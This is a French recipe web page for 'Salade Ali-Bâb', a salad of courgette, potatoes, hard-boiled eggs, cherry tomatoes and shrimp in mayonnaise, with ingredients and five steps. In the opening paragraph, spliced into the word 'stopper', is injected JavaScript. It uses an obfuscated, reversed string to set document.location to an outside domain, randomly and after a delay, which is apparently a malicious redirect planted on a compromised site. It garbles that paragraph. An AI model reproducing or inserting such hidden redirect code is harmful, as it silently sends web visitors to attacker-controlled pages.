Salade Ali-Bâb

2018-02-17

Rincez, essorez, ciselez les fines herbes. Coupez la courgette en rondelles. Dans une cocotte d’eau bouillante salée, plongez la courgette, faites la cuire pendant 10 minutes. Et la plonger rapidement dans l’eau froide pour stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}topper la cuisson. Rincez les pommes sous le robinet d’eau froide.

Ingrédients

  • Pour 4 personnes
  • 1 courgette
  • 4 pommes de terre
  • 3 œufs durs
  • 1,5 dl de mayonnaise moutarde
  • 10 tomates cerise
  • 300 g de crevettes roses
  • 1 botte de fines herbes
  • Sel - Poivre

Préparation de la recette

Etape 1

Rincez, essorez, ciselez les fines herbes. Coupez la courgette en rondelles.

Etape 2

Dans une cocotte d'eau bouillante salée, plongez la courgette, faites la cuire pendant 10 minutes, et la plonger rapidement dans l'eau froide pour stopper la cuisson. Rincez les pommes sous le robinet d'eau froide.

Etape 3

Les plonger dans une casserole d'eau froide salée. Portez à ébullition et faites les cuire à couvert pendant 30 minutes. Pelez, Coupez-les pommes de terre en rondelles.

Etape 4

Écaler, coupez en quartiers les œufs durs. Coupez-les tomates cerise en deux. Décortiquez les crevettes, et les incorporez à la mayonnaise avec les fines herbes.

Etape 5

Dans un saladier déposez les crevettes en dôme, entourez-les de lamelles de courgette, des rondelles de pommes de terre, des quartiers d’œuf dur, et les tomates. Juste au dernier moment arrosez de sauce. Dégustez.

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